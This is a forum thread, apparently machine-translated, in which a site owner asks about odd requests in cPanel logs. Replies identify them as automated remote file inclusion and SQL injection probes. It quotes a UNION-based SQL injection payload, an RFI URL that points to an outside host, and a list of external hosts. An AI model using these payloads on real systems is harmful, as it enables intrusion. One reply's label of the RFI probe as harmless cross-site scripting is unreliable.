Is this an injection attempt or a normal request?
In the cPanel analog statistics module, I noticed a lot of requests to connect to the following example:
/?x=19&y=15
The numbers are random, but the x and y variables are always set.
Another category of mystery requests:
/?id=http://nic.bupt.edu.cn/media/j1.txt??
There are other query log injection attempts that also have straight sql. Example:
/jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13--
They all seem to be reaching 404, but I'm still thinking about the intent behind them.
I know this is vague, but maybe someone knows that this is ok when using the cPanel and phpMyAdmin services. In addition, a search box was installed on the site, which may be the cause.
Any suggestions as to what this is all about?
EDIT
I pulled everything from the request lists and sliced the txt they point to. Maybe it gives more help as to what kind of attacks these are.
http://www.diakonia-jkt.sch.id
http://www.nationalmedecine.com
http://muzykologia.lublin.pl
http://www.abi.co.uk
http://stul.netsolutions.cz
http://jack.tiscali.it
http://solid.go.ro
http://nic.bupt.edu.cn
http://www.europeanforumcyprus.eu
http://www.nationalmedecine.com
Also, in the phpMyAdmin status section, it shows ~ 900 db request changes per hour. Can a user with only select privileges do real dB damage? There is no personal information on it, but these SOBs are clogging up bandwidth.
a source to share
These (except for the top one) are automatic (?) Attempts to find flaws in the code;
/? id = http://nic.bupt.edu.cn/media/j1.txt ??
Tries to import a PHP page from another server. Known issue, especially with older PHP software.
"UNION ALL SELECT 1" is an obvious attempt at SQL insertion. schema ID 0x73636363726F6F745F7075626C6963 decodes to "scccroot_public". I'm not sure what database this is for. But they are trying to take control, this is necessary.
a source to share
/? id = http://nic.bupt.edu.cn/media/j1.txt ?? looks like something like a cross-site, useless because it downloads the O_O text file
a source to share